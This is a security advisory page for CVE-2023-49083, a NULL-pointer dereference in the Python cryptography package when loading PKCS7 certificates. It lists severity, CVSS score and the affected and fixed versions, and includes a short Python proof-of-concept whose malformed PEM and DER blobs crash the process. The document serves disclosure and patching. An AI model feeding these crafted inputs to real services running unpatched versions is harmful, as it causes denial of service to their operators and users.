Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS1qZmhtLTVnaGgtMmY5N84AA3Zw

cryptography vulnerable to NULL-dereference when loading PKCS7 certificates

Summary

Calling load_pem_pkcs7_certificates or load_der_pkcs7_certificates could lead to a NULL-pointer dereference and segfault.

PoC

Here is a Python code that triggers the issue:

from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates

pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""

der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"

load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)

Impact

Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.

Permalink: https://github.com/advisories/GHSA-jfhm-5ghh-2f97
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qZmhtLTVnaGgtMmY5N84AA3Zw
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: 5 months ago
Updated: 2 months ago


CVSS Score: 5.9
CVSS vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Identifiers: GHSA-jfhm-5ghh-2f97, CVE-2023-49083
References: Repository: https://github.com/pyca/cryptography
Blast Radius: 30.2

Affected Packages

pypi:cryptography
Dependent packages: 2,599
Dependent repositories: 131,580
Downloads: 248,655,832 last month
Affected Version Ranges: >= 3.1, < 41.0.6
Fixed in: 41.0.6
All affected versions: 3.1.1, 3.2.1, 3.3.1, 3.3.2, 3.4.1, 3.4.2, 3.4.3, 3.4.4, 3.4.5, 3.4.6, 3.4.7, 3.4.8, 35.0.0, 36.0.0, 36.0.1, 36.0.2, 37.0.0, 37.0.1, 37.0.2, 37.0.3, 37.0.4, 38.0.0, 38.0.1, 38.0.2, 38.0.3, 38.0.4, 39.0.0, 39.0.1, 39.0.2, 40.0.0, 40.0.1, 40.0.2, 41.0.0, 41.0.1, 41.0.2, 41.0.3, 41.0.4, 41.0.5
All unaffected versions: 0.2.1, 0.2.2, 0.5.1, 0.5.2, 0.5.3, 0.5.4, 0.6.1, 0.7.1, 0.7.2, 0.8.1, 0.8.2, 0.9.1, 0.9.2, 0.9.3, 1.0.1, 1.0.2, 1.1.1, 1.1.2, 1.2.1, 1.2.2, 1.2.3, 1.3.1, 1.3.2, 1.3.3, 1.3.4, 1.5.1, 1.5.2, 1.5.3, 1.7.1, 1.7.2, 1.8.1, 1.8.2, 2.0.1, 2.0.2, 2.0.3, 2.1.1, 2.1.2, 2.1.3, 2.1.4, 2.2.1, 2.2.2, 2.3.1, 2.4.1, 2.4.2, 2.6.1, 2.9.1, 2.9.2, 41.0.6, 41.0.7, 42.0.0, 42.0.1, 42.0.2, 42.0.3, 42.0.4, 42.0.5